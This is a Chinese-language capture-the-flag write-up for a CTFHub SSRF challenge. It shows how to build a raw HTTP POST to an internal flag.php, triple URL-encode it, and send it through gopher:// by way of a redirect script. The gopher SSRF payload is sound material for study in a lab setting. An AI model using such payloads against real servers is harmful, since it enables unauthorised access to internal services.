CTFHUB-技能树-Web-SSRF-POST
提示:
访问题目url,先尝试一下flag.php,发现一个key值
根据提示尝试一下302.php
得到提示
header("Location:{$_GET['url']}");的意思是重定向页面到GET到url的内容,根据提示我们要构造一个POST请求
一般格式:
POST /flag.php HTTP/1.1 //flag肯定是在flag.php里
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded //文本类型
Content-Length: 36 //长度为下面全部数据的长度
key=a80ea933ead842996c204517423ae75e //key值是前面得到的
然后进行url三次编码即(注:第一次url编码后要手动在所有%0A前面加上%0D,再进行后续编码)
POST%252520%25252Fflag.php%252520HTTP%25252F1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application%25252Fx-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%25250D%25250Akey%25253Da80ea933ead842996c204517423ae75e
这里运用了gopher协议,先构造payload再解释
gopher协议:互联网上使用的分布型的文件搜集获取网络协议,是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息
使用方法:gopher://ip:port/_payload
此题整体思路:尝试读取flag.php和提示的302.php --> 根据所得信息选择SSRF漏洞可用的url伪协议 --> 构造payload
payload解释:根据302.php的源码可以知道,需要以GET方式传递一个url参数,并且会重定向到其指定的地址,用gopher协议可以查看该地址的信息,进行三次的url编码是因为客户端到服务端解析方式